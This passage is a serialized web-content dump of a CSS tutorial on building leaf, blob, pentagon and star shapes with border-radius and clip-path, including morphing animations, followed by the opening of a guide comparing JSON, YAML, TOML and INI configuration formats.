wider. The bottom corners have smaller vertical radii, tapering the bottom.",[33,35639,18211],{"id":18210},[135,35641,35643],{"className":1554,"code":35642,"language":1556,"meta":141,"style":141},".leaf {\n  width: 120px;\n  height: 160px;\n  border-radius: 0 80% 0 80%;\n}\n",[143,35644,35645,35651,35663,35675,35695],{"__ignoreMap":141},[1560,35646,35647,35649],{"class":1562,"line":1563},[1560,35648,18224],{"class":1566},[1560,35650,1571],{"class":1570},[1560,35652,35653,35655,35657,35659,35661],{"class":1562,"line":337},[1560,35654,12386],{"class":1576},[1560,35656,1663],{"class":1570},[1560,35658,18034],{"class":1576},[1560,35660,1670],{"class":1669},[1560,35662,2228],{"class":1570},[1560,35664,35665,35667,35669,35671,35673],{"class":1562,"line":343},[1560,35666,12400],{"class":1576},[1560,35668,1663],{"class":1570},[1560,35670,18301],{"class":1576},[1560,35672,1670],{"class":1669},[1560,35674,2228],{"class":1570},[1560,35676,35677,35679,35681,35683,35685,35687,35689,35691,35693],{"class":1562,"line":365},[1560,35678,17294],{"class":1576},[1560,35680,1663],{"class":1570},[1560,35682,5285],{"class":1576},[1560,35684,9342],{"class":1576},[1560,35686,17990],{"class":1669},[1560,35688,13541],{"class":1576},[1560,35690,9342],{"class":1576},[1560,35692,17990],{"class":1669},[1560,35694,2228],{"class":1570},[1560,35696,35697],{"class":1562,"line":889},[1560,35698,1585],{"class":1570},[16,35700,35701],{},"Only two opposite corners are rounded, creating a pointed leaf with curves on adjacent sides.",[33,35703,35705],{"id":35704},"blob-shape","Blob Shape",[135,35707,35709],{"className":1554,"code":35708,"language":1556,"meta":141,"style":141},".blob {\n  width: 200px;\n  height: 200px;\n  border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%;\n}\n",[143,35710,35711,35718,35730,35742,35784],{"__ignoreMap":141},[1560,35712,35713,35716],{"class":1562,"line":1563},[1560,35714,35715],{"class":1566},".blob",[1560,35717,1571],{"class":1570},[1560,35719,35720,35722,35724,35726,35728],{"class":1562,"line":337},[1560,35721,12386],{"class":1576},[1560,35723,1663],{"class":1570},[1560,35725,18101],{"class":1576},[1560,35727,1670],{"class":1669},[1560,35729,2228],{"class":1570},[1560,35731,35732,35734,35736,35738,35740],{"class":1562,"line":343},[1560,35733,12400],{"class":1576},[1560,35735,1663],{"class":1570},[1560,35737,18101],{"class":1576},[1560,35739,1670],{"class":1669},[1560,35741,2228],{"class":1570},[1560,35743,35744,35746,35748,35750,35752,35754,35756,35758,35760,35762,35764,35766,35768,35770,35772,35774,35776,35778,35780,35782],{"class":1562,"line":365},[1560,35745,17294],{"class":1576},[1560,35747,1663],{"class":1570},[1560,35749,18333],{"class":1576},[1560,35751,17990],{"class":1669},[1560,35753,18343],{"class":1576},[1560,35755,17990],{"class":1669},[1560,35757,35504],{"class":1576},[1560,35759,17990],{"class":1669},[1560,35761,35515],{"class":1576},[1560,35763,17990],{"class":1669},[1560,35765,14237],{"class":1570},[1560,35767,18333],{"class":1576},[1560,35769,17990],{"class":1669},[1560,35771,35504],{"class":1576},[1560,35773,17990],{"class":1669},[1560,35775,35515],{"class":1576},[1560,35777,17990],{"class":1669},[1560,35779,18343],{"class":1576},[1560,35781,17990],{"class":1669},[1560,35783,2228],{"class":1570},[1560,35785,35786],{"class":1562,"line":889},[1560,35787,1585],{"class":1570},[16,35789,35790],{},"Asymmetric radii on both axes create an organic, irregular shape. No two blobs look the same — adjust the percentages to taste.",[33,35792,35794],{"id":35793},"pentagon-with-clip-path","Pentagon (with clip-path)",[16,35796,35797,35799,35800,8037],{},[143,35798,16947],{}," alone cannot create straight-edged polygons. For those, use ",[143,35801,35456],{},[135,35803,35805],{"className":1554,"code":35804,"language":1556,"meta":141,"style":141},".pentagon {\n  width: 200px;\n  height: 200px;\n  clip-path: polygon(50% 0%, 100% 38%, 82% 100%, 18% 100%, 0% 38%);\n}\n",[143,35806,35807,35814,35826,35838,35903],{"__ignoreMap":141},[1560,35808,35809,35812],{"class":1562,"line":1563},[1560,35810,35811],{"class":1566},".pentagon",[1560,35813,1571],{"class":1570},[1560,35815,35816,35818,35820,35822,35824],{"class":1562,"line":337},[1560,35817,12386],{"class":1576},[1560,35819,1663],{"class":1570},[1560,35821,18101],{"class":1576},[1560,35823,1670],{"class":1669},[1560,35825,2228],{"class":1570},[1560,35827,35828,35830,35832,35834,35836],{"class":1562,"line":343},[1560,35829,12400],{"class":1576},[1560,35831,1663],{"class":1570},[1560,35833,18101],{"class":1576},[1560,35835,1670],{"class":1669},[1560,35837,2228],{"class":1570},[1560,35839,35840,35843,35845,35848,35850,35852,35854,35856,35858,35860,35862,35864,35867,35869,35871,35874,35876,35879,35881,35883,35885,35887,35889,35891,35893,35895,35897,35899,35901],{"class":1562,"line":365},[1560,35841,35842],{"class":1576},"  clip-path",[1560,35844,1663],{"class":1570},[1560,35846,35847],{"class":1576},"polygon",[1560,35849,1688],{"class":1570},[1560,35851,18059],{"class":1576},[1560,35853,17990],{"class":1669},[1560,35855,13541],{"class":1576},[1560,35857,17990],{"class":1669},[1560,35859,1459],{"class":1570},[1560,35861,18114],{"class":1576},[1560,35863,17990],{"class":1669},[1560,35865,35866],{"class":1576}," 38",[1560,35868,17990],{"class":1669},[1560,35870,1459],{"class":1570},[1560,35872,35873],{"class":1576},"82",[1560,35875,17990],{"class":1669},[1560,35877,35878],{"class":1576}," 100",[1560,35880,17990],{"class":1669},[1560,35882,1459],{"class":1570},[1560,35884,4683],{"class":1576},[1560,35886,17990],{"class":1669},[1560,35888,35878],{"class":1576},[1560,35890,17990],{"class":1669},[1560,35892,1459],{"class":1570},[1560,35894,5285],{"class":1576},[1560,35896,17990],{"class":1669},[1560,35898,35866],{"class":1576},[1560,35900,17990],{"class":1669},[1560,35902,1744],{"class":1570},[1560,35904,35905],{"class":1562,"line":889},[1560,35906,1585],{"class":1570},[33,35908,35910],{"id":35909},"star-with-clip-path","Star (with clip-path)",[135,35912,35914],{"className":1554,"code":35913,"language":1556,"meta":141,"style":141},".star {\n  width: 200px;\n  height: 200px;\n  clip-path: polygon(\n    50% 0%, 61% 35%, 98% 35%, 68% 57%, 79% 91%,\n    50% 70%, 21% 91%, 32% 57%, 2% 35%, 39% 35%\n  );\n}\n",[143,35915,35916,35923,35935,35947,35958,36018,36071,36076],{"__ignoreMap":141},[1560,35917,35918,35921],{"class":1562,"line":1563},[1560,35919,35920],{"class":1566},".star",[1560,35922,1571],{"class":1570},[1560,35924,35925,35927,35929,35931,35933],{"class":1562,"line":337},[1560,35926,12386],{"class":1576},[1560,35928,1663],{"class":1570},[1560,35930,18101],{"class":1576},[1560,35932,1670],{"class":1669},[1560,35934,2228],{"class":1570},[1560,35936,35937,35939,35941,35943,35945],{"class":1562,"line":343},[1560,35938,12400],{"class":1576},[1560,35940,1663],{"class":1570},[1560,35942,18101],{"class":1576},[1560,35944,1670],{"class":1669},[1560,35946,2228],{"class":1570},[1560,35948,35949,35951,35953,35955],{"class":1562,"line":365},[1560,35950,35842],{"class":1576},[1560,35952,1663],{"class":1570},[1560,35954,35847],{"class":1576},[1560,35956,35957],{"class":1570},"(\n",[1560,35959,35960,35963,35965,35967,35969,35971,35974,35976,35979,35981,35983,35986,35988,35990,35992,35994,35997,35999,36002,36004,36006,36009,36011,36014,36016],{"class":1562,"line":889},[1560,35961,35962],{"class":1576},"    50",[1560,35964,17990],{"class":1669},[1560,35966,13541],{"class":1576},[1560,35968,17990],{"class":1669},[1560,35970,1459],{"class":1570},[1560,35972,35973],{"class":1576},"61",[1560,35975,17990],{"class":1669},[1560,35977,35978],{"class":1576}," 35",[1560,35980,17990],{"class":1669},[1560,35982,1459],{"class":1570},[1560,35984,35985],{"class":1576},"98",[1560,35987,17990],{"class":1669},[1560,35989,35978],{"class":1576},[1560,35991,17990],{"class":1669},[1560,35993,1459],{"class":1570},[1560,35995,35996],{"class":1576},"68",[1560,35998,17990],{"class":1669},[1560,36000,36001],{"class":1576}," 57",[1560,36003,17990],{"class":1669},[1560,36005,1459],{"class":1570},[1560,36007,36008],{"class":1576},"79",[1560,36010,17990],{"class":1669},[1560,36012,36013],{"class":1576}," 91",[1560,36015,17990],{"class":1669},[1560,36017,11943],{"class":1570},[1560,36019,36020,36022,36024,36026,36028,36030,36032,36034,36036,36038,36040,36043,36045,36047,36049,36051,36053,36055,36057,36059,36061,36064,36066,36068],{"class":1562,"line":1710},[1560,36021,35962],{"class":1576},[1560,36023,17990],{"class":1669},[1560,36025,35515],{"class":1576},[1560,36027,17990],{"class":1669},[1560,36029,1459],{"class":1570},[1560,36031,4772],{"class":1576},[1560,36033,17990],{"class":1669},[1560,36035,36013],{"class":1576},[1560,36037,17990],{"class":1669},[1560,36039,1459],{"class":1570},[1560,36041,36042],{"class":1576},"32",[1560,36044,17990],{"class":1669},[1560,36046,36001],{"class":1576},[1560,36048,17990],{"class":1669},[1560,36050,1459],{"class":1570},[1560,36052,10099],{"class":1576},[1560,36054,17990],{"class":1669},[1560,36056,35978],{"class":1576},[1560,36058,17990],{"class":1669},[1560,36060,1459],{"class":1570},[1560,36062,36063],{"class":1576},"39",[1560,36065,17990],{"class":1669},[1560,36067,35978],{"class":1576},[1560,36069,36070],{"class":1669},"%\n",[1560,36072,36073],{"class":1562,"line":1717},[1560,36074,36075],{"class":1570},"  );\n",[1560,36077,36078],{"class":1562,"line":1747},[1560,36079,1585],{"class":1570},[11,36081,36083],{"id":36082},"combining-border-radius-and-clip-path","Combining Border Radius and Clip-Path",[16,36085,36086,36087,36089,36090,36092],{},"You can use both properties together: ",[143,36088,35456],{}," defines the overall shape, and ",[143,36091,16947],{}," softens the clipped edges.",[135,36094,36096],{"className":1554,"code":36095,"language":1556,"meta":141,"style":141},".soft-pentagon {\n  width: 200px;\n  height: 200px;\n  clip-path: polygon(50% 0%, 100% 38%, 82% 100%, 18% 100%, 0% 38%);\n  border-radius: 10px;\n}\n",[143,36097,36098,36105,36117,36129,36189,36202],{"__ignoreMap":141},[1560,36099,36100,36103],{"class":1562,"line":1563},[1560,36101,36102],{"class":1566},".soft-pentagon",[1560,36104,1571],{"class":1570},[1560,36106,36107,36109,36111,36113,36115],{"class":1562,"line":337},[1560,36108,12386],{"class":1576},[1560,36110,1663],{"class":1570},[1560,36112,18101],{"class":1576},[1560,36114,1670],{"class":1669},[1560,36116,2228],{"class":1570},[1560,36118,36119,36121,36123,36125,36127],{"class":1562,"line":343},[1560,36120,12400],{"class":1576},[1560,36122,1663],{"class":1570},[1560,36124,18101],{"class":1576},[1560,36126,1670],{"class":1669},[1560,36128,2228],{"class":1570},[1560,36130,36131,36133,36135,36137,36139,36141,36143,36145,36147,36149,36151,36153,36155,36157,36159,36161,36163,36165,36167,36169,36171,36173,36175,36177,36179,36181,36183,36185,36187],{"class":1562,"line":365},[1560,36132,35842],{"class":1576},[1560,36134,1663],{"class":1570},[1560,36136,35847],{"class":1576},[1560,36138,1688],{"class":1570},[1560,36140,18059],{"class":1576},[1560,36142,17990],{"class":1669},[1560,36144,13541],{"class":1576},[1560,36146,17990],{"class":1669},[1560,36148,1459],{"class":1570},[1560,36150,18114],{"class":1576},[1560,36152,17990],{"class":1669},[1560,36154,35866],{"class":1576},[1560,36156,17990],{"class":1669},[1560,36158,1459],{"class":1570},[1560,36160,35873],{"class":1576},[1560,36162,17990],{"class":1669},[1560,36164,35878],{"class":1576},[1560,36166,17990],{"class":1669},[1560,36168,1459],{"class":1570},[1560,36170,4683],{"class":1576},[1560,36172,17990],{"class":1669},[1560,36174,35878],{"class":1576},[1560,36176,17990],{"class":1669},[1560,36178,1459],{"class":1570},[1560,36180,5285],{"class":1576},[1560,36182,17990],{"class":1669},[1560,36184,35866],{"class":1576},[1560,36186,17990],{"class":1669},[1560,36188,1744],{"class":1570},[1560,36190,36191,36193,36195,36198,36200],{"class":1562,"line":889},[1560,36192,17294],{"class":1576},[1560,36194,1663],{"class":1570},[1560,36196,36197],{"class":1576},"10",[1560,36199,1670],{"class":1669},[1560,36201,2228],{"class":1570},[1560,36203,36204],{"class":1562,"line":1710},[1560,36205,1585],{"class":1570},[16,36207,36208,36209,36211],{},"Be aware that ",[143,36210,16947],{}," only softens the path where the clip allows — clipped-away corners receive no rounding.",[11,36213,36215],{"id":36214},"animating-organic-shapes","Animating Organic Shapes",[16,36217,36218,36219,36221],{},"Blob shapes look dynamic when animated. Transition between two ",[143,36220,16947],{}," value sets:",[135,36223,36225],{"className":1554,"code":36224,"language":1556,"meta":141,"style":141},".blob {\n  width: 200px;\n  height: 200px;\n  border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%;\n  transition: border-radius 0.8s ease;\n}\n\n.blob:hover {\n  border-radius: 30% 60% 70% 40% \u002F 50% 60% 30% 60%;\n}\n",[143,36226,36227,36233,36245,36257,36299,36315,36319,36323,36330,36372],{"__ignoreMap":141},[1560,36228,36229,36231],{"class":1562,"line":1563},[1560,36230,35715],{"class":1566},[1560,36232,1571],{"class":1570},[1560,36234,36235,36237,36239,36241,36243],{"class":1562,"line":337},[1560,36236,12386],{"class":1576},[1560,36238,1663],{"class":1570},[1560,36240,18101],{"class":1576},[1560,36242,1670],{"class":1669},[1560,36244,2228],{"class":1570},[1560,36246,36247,36249,36251,36253,36255],{"class":1562,"line":343},[1560,36248,12400],{"class":1576},[1560,36250,1663],{"class":1570},[1560,36252,18101],{"class":1576},[1560,36254,1670],{"class":1669},[1560,36256,2228],{"class":1570},[1560,36258,36259,36261,36263,36265,36267,36269,36271,36273,36275,36277,36279,36281,36283,36285,36287,36289,36291,36293,36295,36297],{"class":1562,"line":365},[1560,36260,17294],{"class":1576},[1560,36262,1663],{"class":1570},[1560,36264,18333],{"class":1576},[1560,36266,17990],{"class":1669},[1560,36268,18343],{"class":1576},[1560,36270,17990],{"class":1669},[1560,36272,35504],{"class":1576},[1560,36274,17990],{"class":1669},[1560,36276,35515],{"class":1576},[1560,36278,17990],{"class":1669},[1560,36280,14237],{"class":1570},[1560,36282,18333],{"class":1576},[1560,36284,17990],{"class":1669},[1560,36286,35504],{"class":1576},[1560,36288,17990],{"class":1669},[1560,36290,35515],{"class":1576},[1560,36292,17990],{"class":1669},[1560,36294,18343],{"class":1576},[1560,36296,17990],{"class":1669},[1560,36298,2228],{"class":1570},[1560,36300,36301,36303,36306,36309,36311,36313],{"class":1562,"line":889},[1560,36302,18718],{"class":1576},[1560,36304,36305],{"class":1570},": border-radius ",[1560,36307,36308],{"class":1576},"0.8",[1560,36310,18727],{"class":1669},[1560,36312,18730],{"class":1576},[1560,36314,2228],{"class":1570},[1560,36316,36317],{"class":1562,"line":1710},[1560,36318,1585],{"class":1570},[1560,36320,36321],{"class":1562,"line":1717},[1560,36322,1702],{"emptyLinePlaceholder":363},[1560,36324,36325,36328],{"class":1562,"line":1747},[1560,36326,36327],{"class":1566},".blob:hover",[1560,36329,1571],{"class":1570},[1560,36331,36332,36334,36336,36338,36340,36342,36344,36346,36348,36350,36352,36354,36356,36358,36360,36362,36364,36366,36368,36370],{"class":1562,"line":2507},[1560,36333,17294],{"class":1576},[1560,36335,1663],{"class":1570},[1560,36337,23995],{"class":1576},[1560,36339,17990],{"class":1669},[1560,36341,18338],{"class":1576},[1560,36343,17990],{"class":1669},[1560,36345,35515],{"class":1576},[1560,36347,17990],{"class":1669},[1560,36349,18343],{"class":1576},[1560,36351,17990],{"class":1669},[1560,36353,14237],{"class":1570},[1560,36355,18059],{"class":1576},[1560,36357,17990],{"class":1669},[1560,36359,18338],{"class":1576},[1560,36361,17990],{"class":1669},[1560,36363,35504],{"class":1576},[1560,36365,17990],{"class":1669},[1560,36367,18338],{"class":1576},[1560,36369,17990],{"class":1669},[1560,36371,2228],{"class":1570},[1560,36373,36374],{"class":1562,"line":2524},[1560,36375,1585],{"class":1570},[16,36377,36378],{},"Because each corner animates independently, the shape morphs fluidly between two organic forms.",[16,36380,36381],{},"For continuous motion, use keyframes:",[135,36383,36385],{"className":1554,"code":36384,"language":1556,"meta":141,"style":141},"@keyframes morph {\n  0%   { border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%; }\n  25%  { border-radius: 30% 60% 70% 40% \u002F 50% 60% 30% 60%; }\n  50%  { border-radius: 50% 30% 50% 70% \u002F 40% 50% 60% 50%; }\n  75%  { border-radius: 40% 50% 60% 50% \u002F 60% 40% 50% 60%; }\n  100% { border-radius: 60% 40% 30% 70% \u002F 60% 30% 70% 40%; }\n}\n\n.animated-blob {\n  animation: morph 8s ease-in-out infinite;\n}\n",[143,36386,36387,36396,36442,36490,36536,36583,36630,36634,36638,36645,36662],{"__ignoreMap":141},[1560,36388,36389,36391,36394],{"class":1562,"line":1563},[1560,36390,19946],{"class":1669},[1560,36392,36393],{"class":2219}," morph",[1560,36395,1571],{"class":1570},[1560,36397,36398,36400,36402,36404,36406,36408,36410,36412,36414,36416,36418,36420,36422,36424,36426,36428,36430,36432,36434,36436,36438,36440],{"class":1562,"line":337},[1560,36399,19965],{"class":1566},[1560,36401,16964],{"class":1570},[1560,36403,16947],{"class":1576},[1560,36405,1663],{"class":1570},[1560,36407,18333],{"class":1576},[1560,36409,17990],{"class":1669},[1560,36411,18343],{"class":1576},[1560,36413,17990],{"class":1669},[1560,36415,35504],{"class":1576},[1560,36417,17990],{"class":1669},[1560,36419,35515],{"class":1576},[1560,36421,17990],{"class":1669},[1560,36423,14237],{"class":1570},[1560,36425,18333],{"class":1576},[1560,36427,17990],{"class":1669},[1560,36429,35504],{"class":1576},[1560,36431,17990],{"class":1669},[1560,36433,35515],{"class":1576},[1560,36435,17990],{"class":1669},[1560,36437,18343],{"class":1576},[1560,36439,17990],{"class":1669},[1560,36441,1673],{"class":1570},[1560,36443,36444,36447,36450,36452,36454,36456,36458,36460,36462,36464,36466,36468,36470,36472,36474,36476,36478,36480,36482,36484,36486,36488],{"class":1562,"line":343},[1560,36445,36446],{"class":1566},"  25%",[1560,36448,36449],{"class":1570},"  { ",[1560,36451,16947],{"class":1576},[1560,36453,1663],{"class":1570},[1560,36455,23995],{"class":1576},[1560,36457,17990],{"class":1669},[1560,36459,18338],{"class":1576},[1560,36461,17990],{"class":1669},[1560,36463,35515],{"class":1576},[1560,36465,17990],{"class":1669},[1560,36467,18343],{"class":1576},[1560,36469,17990],{"class":1669},[1560,36471,14237],{"class":1570},[1560,36473,18059],{"class":1576},[1560,36475,17990],{"class":1669},[1560,36477,18338],{"class":1576},[1560,36479,17990],{"class":1669},[1560,36481,35504],{"class":1576},[1560,36483,17990],{"class":1669},[1560,36485,18338],{"class":1576},[1560,36487,17990],{"class":1669},[1560,36489,1673],{"class":1570},[1560,36491,36492,36494,36496,36498,36500,36502,36504,36506,36508,36510,36512,36514,36516,36518,36520,36522,36524,36526,36528,36530,36532,36534],{"class":1562,"line":365},[1560,36493,20020],{"class":1566},[1560,36495,36449],{"class":1570},[1560,36497,16947],{"class":1576},[1560,36499,1663],{"class":1570},[1560,36501,18059],{"class":1576},[1560,36503,17990],{"class":1669},[1560,36505,35504],{"class":1576},[1560,36507,17990],{"class":1669},[1560,36509,18318],{"class":1576},[1560,36511,17990],{"class":1669},[1560,36513,35515],{"class":1576},[1560,36515,17990],{"class":1669},[1560,36517,14237],{"class":1570},[1560,36519,18162],{"class":1576},[1560,36521,17990],{"class":1669},[1560,36523,18318],{"class":1576},[1560,36525,17990],{"class":1669},[1560,36527,18338],{"class":1576},[1560,36529,17990],{"class":1669},[1560,36531,18318],{"class":1576},[1560,36533,17990],{"class":1669},[1560,36535,1673],{"class":1570},[1560,36537,36538,36541,36543,36545,36547,36549,36551,36553,36555,36557,36559,36561,36563,36565,36567,36569,36571,36573,36575,36577,36579,36581],{"class":1562,"line":889},[1560,36539,36540],{"class":1566},"  75%",[1560,36542,36449],{"class":1570},[1560,36544,16947],{"class":1576},[1560,36546,1663],{"class":1570},[1560,36548,18162],{"class":1576},[1560,36550,17990],{"class":1669},[1560,36552,18318],{"class":1576},[1560,36554,17990],{"class":1669},[1560,36556,18338],{"class":1576},[1560,36558,17990],{"class":1669},[1560,36560,18318],{"class":1576},[1560,36562,17990],{"class":1669},[1560,36564,14237],{"class":1570},[1560,36566,18333],{"class":1576},[1560,36568,17990],{"class":1669},[1560,36570,18343],{"class":1576},[1560,36572,17990],{"class":1669},[1560,36574,18318],{"class":1576},[1560,36576,17990],{"class":1669},[1560,36578,18338],{"class":1576},[1560,36580,17990],{"class":1669},[1560,36582,1673],{"class":1570},[1560,36584,36585,36588,36590,36592,36594,36596,36598,36600,36602,36604,36606,36608,36610,36612,36614,36616,36618,36620,36622,36624,36626,36628],{"class":1562,"line":1710},[1560,36586,36587],{"class":1566},"  100%",[1560,36589,1658],{"class":1570},[1560,36591,16947],{"class":1576},[1560,36593,1663],{"class":1570},[1560,36595,18333],{"class":1576},[1560,36597,17990],{"class":1669},[1560,36599,18343],{"class":1576},[1560,36601,17990],{"class":1669},[1560,36603,35504],{"class":1576},[1560,36605,17990],{"class":1669},[1560,36607,35515],{"class":1576},[1560,36609,17990],{"class":1669},[1560,36611,14237],{"class":1570},[1560,36613,18333],{"class":1576},[1560,36615,17990],{"class":1669},[1560,36617,35504],{"class":1576},[1560,36619,17990],{"class":1669},[1560,36621,35515],{"class":1576},[1560,36623,17990],{"class":1669},[1560,36625,18343],{"class":1576},[1560,36627,17990],{"class":1669},[1560,36629,1673],{"class":1570},[1560,36631,36632],{"class":1562,"line":1717},[1560,36633,1585],{"class":1570},[1560,36635,36636],{"class":1562,"line":1747},[1560,36637,1702],{"emptyLinePlaceholder":363},[1560,36639,36640,36643],{"class":1562,"line":2507},[1560,36641,36642],{"class":1566},".animated-blob",[1560,36644,1571],{"class":1570},[1560,36646,36647,36649,36652,36654,36656,36658,36660],{"class":1562,"line":2524},[1560,36648,20083],{"class":1576},[1560,36650,36651],{"class":1570},": morph ",[1560,36653,10078],{"class":1576},[1560,36655,18727],{"class":1669},[1560,36657,20093],{"class":1576},[1560,36659,20096],{"class":1576},[1560,36661,2228],{"class":1570},[1560,36663,36664],{"class":1562,"line":2529},[1560,36665,1585],{"class":1570},[11,36667,36669],{"id":36668},"rotation-for-variety","Rotation for Variety",[16,36671,36672,36673,36675],{},"The same ",[143,36674,16947],{}," values create different shapes depending on the element's aspect ratio and rotation:",[135,36677,36679],{"className":1554,"code":36678,"language":1556,"meta":141,"style":141},".leaf-variant {\n  width: 100px;\n  height: 180px;\n  border-radius: 0 80% 0 80%;\n  transform: rotate(-30deg);\n}\n",[143,36680,36681,36688,36700,36712,36732,36749],{"__ignoreMap":141},[1560,36682,36683,36686],{"class":1562,"line":1563},[1560,36684,36685],{"class":1566},".leaf-variant",[1560,36687,1571],{"class":1570},[1560,36689,36690,36692,36694,36696,36698],{"class":1562,"line":337},[1560,36691,12386],{"class":1576},[1560,36693,1663],{"class":1570},[1560,36695,18114],{"class":1576},[1560,36697,1670],{"class":1669},[1560,36699,2228],{"class":1570},[1560,36701,36702,36704,36706,36708,36710],{"class":1562,"line":343},[1560,36703,12400],{"class":1576},[1560,36705,1663],{"class":1570},[1560,36707,35584],{"class":1576},[1560,36709,1670],{"class":1669},[1560,36711,2228],{"class":1570},[1560,36713,36714,36716,36718,36720,36722,36724,36726,36728,36730],{"class":1562,"line":365},[1560,36715,17294],{"class":1576},[1560,36717,1663],{"class":1570},[1560,36719,5285],{"class":1576},[1560,36721,9342],{"class":1576},[1560,36723,17990],{"class":1669},[1560,36725,13541],{"class":1576},[1560,36727,9342],{"class":1576},[1560,36729,17990],{"class":1669},[1560,36731,2228],{"class":1570},[1560,36733,36734,36736,36738,36740,36742,36745,36747],{"class":1562,"line":889},[1560,36735,1720],{"class":1576},[1560,36737,1663],{"class":1570},[1560,36739,35461],{"class":1576},[1560,36741,1688],{"class":1570},[1560,36743,36744],{"class":1576},"-30",[1560,36746,1694],{"class":1669},[1560,36748,1744],{"class":1570},[1560,36750,36751],{"class":1562,"line":1710},[1560,36752,1585],{"class":1570},[16,36754,36755],{},"A simple rotation transforms a leaf into a water droplet or a flame shape.",[11,36757,31505],{"id":31504},[193,36759,36760,36769],{},[196,36761,36762],{},[199,36763,36764,36767],{},[202,36765,36766],{},"Shape",[202,36768,1775],{},[211,36770,36771,36779,36787,36795,36803],{},[199,36772,36773,36776],{},[216,36774,36775],{},"Pill",[216,36777,36778],{},"Buttons, tags, badges",[199,36780,36781,36784],{},[216,36782,36783],{},"Egg",[216,36785,36786],{},"Avatars, profile images",[199,36788,36789,36792],{},[216,36790,36791],{},"Blob",[216,36793,36794],{},"Hero backgrounds, decorative elements",[199,36796,36797,36800],{},[216,36798,36799],{},"Leaf",[216,36801,36802],{},"Eco\u002Fnature branding, bullet points",[199,36804,36805,36808],{},[216,36806,36807],{},"Pentagon\u002FStar",[216,36809,36810],{},"Icons, badges, rating indicators",[11,36812,1355],{"id":1354},[41,36814,36815,36821,36824,36830,36837,36843],{},[44,36816,36817,36818,36820],{},"The eight-value ",[143,36819,16947],{}," syntax (horizontal\u002Fvertical) enables elliptical corners and organic shapes",[44,36822,36823],{},"Asymmetric radii produce blobs, eggs, and leaves — no SVG needed",[44,36825,1388,36826,36829],{},[143,36827,36828],{},"clip-path: polygon()"," for straight-edged shapes that border-radius cannot create",[44,36831,20246,36832,1856,36834,36836],{},[143,36833,16947],{},[143,36835,35456],{}," for soft polygon shapes",[44,36838,36839,36840,36842],{},"Animate between ",[143,36841,16947],{}," states for morphing blob effects",[44,36844,36845],{},"Rotation and aspect ratio multiply the variety of shapes from the same radius values",[11,36847,286],{"id":285},[16,36849,18579,36850,36852],{},[98,36851,17644],{"href":17643},". Drag individual corner controls, preview shapes in real time, and copy the CSS.",[11,36854,321],{"id":320},[41,36856,36857,36862],{},[44,36858,36859,36861],{},[98,36860,17655],{"href":17654}," — syntax, individual corners, and percentage-based shapes",[44,36863,36864,36866],{},[98,36865,18598],{"href":18597}," — step-by-step practical examples",[2043,36868,36869],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":36871},[36872,36873,36874,36881,36882,36883,36884,36885,36886,36887],{"id":35442,"depth":337,"text":35443},{"id":35465,"depth":337,"text":35466},{"id":35548,"depth":337,"text":35549,"children":36875},[36876,36877,36878,36879,36880],{"id":18264,"depth":343,"text":18265},{"id":18210,"depth":343,"text":18211},{"id":35704,"depth":343,"text":35705},{"id":35793,"depth":343,"text":35794},{"id":35909,"depth":343,"text":35910},{"id":36082,"depth":337,"text":36083},{"id":36214,"depth":337,"text":36215},{"id":36668,"depth":337,"text":36669},{"id":31504,"depth":337,"text":31505},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Go beyond rounded corners — learn how border-radius and clip-path combine to create organic blobs, leaf shapes, eggs, and complex geometric forms in CSS.",{"keywords":36890,"immutable":363},[16947,36891],"complex-css-shapes",{"title":35437,"description":36888},"guides\u002Fcomplex-css-shapes","UGPoIdmYPGTAfqRt496W5S83CBh6_mnH6CyyzaIYhGQ",{"id":36896,"title":36897,"body":36898,"date":2070,"description":37815,"extension":361,"meta":37816,"navigation":363,"path":37817,"readingTime":1710,"seo":37818,"stem":37819,"__hash__":37820},"guides\u002Fguides\u002Fconfiguration-file-formats.md","Configuration File Formats: JSON, YAML, TOML, and INI Compared",{"type":8,"value":36899,"toc":37800},[36900,36904,36907,36910,36914,37075,37079,37082,37208,37218,37222,37225,37345,37353,37357,37367,37429,37437,37441,37444,37490,37498,37500,37623,37627,37630,37669,37672,37676,37679,37705,37708,37712,37725,37728,37730,37758,37760,37763,37779,37781,37797],[11,36901,36903],{"id":36902},"why-configuration-format-matters","Why Configuration Format Matters",[16,36905,36906],{},"The configuration file format you choose affects how easily your team can read, edit, and maintain settings. A poor choice leads to syntax errors, onboarding friction, and debugging sessions that should have taken minutes instead of hours.",[16,36908,36909],{},"Four formats dominate modern development: JSON, YAML, TOML, and INI. Each has distinct trade-offs in readability, features, and ecosystem support. This guide compares them all — with syntax examples and a clear framework for choosing.",[11,36911,36913],{"id":36912},"format-overview","Format Overview",[193,36915,36916,36933],{},[196,36917,36918],{},[199,36919,36920,36922,36924,36927,36930],{},[202,36921,5867],{},[202,36923,13411],{},[202,36925,36926],{},"YAML",[202,36928,36929],{},"TOML",[202,36931,36932],{},"INI",[211,36934,36935,36950,36974,36991,37010,37027,37042,37060],{},[199,36936,36937,36940,36942,36944,36947],{},[216,36938,36939],{},"Syntax 